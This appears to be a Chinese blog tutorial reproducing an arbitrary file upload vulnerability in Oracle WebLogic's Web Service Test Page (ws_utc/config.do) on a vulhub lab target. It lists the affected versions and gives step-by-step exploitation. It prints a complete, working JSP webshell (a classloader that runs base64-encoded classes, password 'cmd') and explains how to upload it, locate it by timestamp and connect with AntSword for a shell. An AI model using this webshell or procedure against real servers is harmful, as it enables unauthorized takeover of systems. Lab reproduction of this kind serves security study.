漏洞简介
- Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 “生产模式” 下默认不开启,所以该漏洞有一定限制;利用该漏洞可以上传任意jsp文件,进而获取服务器权限Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do;(ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证)
受影响的Weblogic版本
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
环境搭建
- 环境搭建比较繁琐,也不再过多赘述了哈,如有还不太会的小伙伴可以看这里哟 —> vulhub环境搭建
漏洞复现
- 访问漏洞所在靶场IP+端口,页面返回404说明环境搭建成功;
- 访问
your-IP:7001/console
,页面跳转到登录页面;
- 执行
docker-compose logs | grep password
命令获取登录用户和密码;(注:该命令需在漏洞文件目录执行)
这里使用了ssh远程连接Kali (漏洞靶机),目的是为了更加方便去执行命令,不需要虚机和宿主机来回切换;
- 成功登录进去,点击
base_domain
可看到设置页面,然后点击高级
;
- 接着勾选
启用Web服务测试页
;
- 访问
your-IP:7001/ws_utc/config.do
页面,修改当前工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
访问该目录无需权限,修改后提交;
- 一句话jsp文件,密码为cmd;
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
- 点击
安全 -> 添加
,名字和密码可以随意设置,上传jsp木马文件;
- 抓包提交获取时间戳;
- 访问
your-IP:7001/ws_utc/css/config/keystore/1677219244820(时间戳)_1.jsp(文件名)
,页面没报404说明成功;
- 蚁剑连接,密码为cmd,成功拿到shell;
以上内容就是Weblogic Web Service Test Page中任意文件上传漏洞复现过程,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!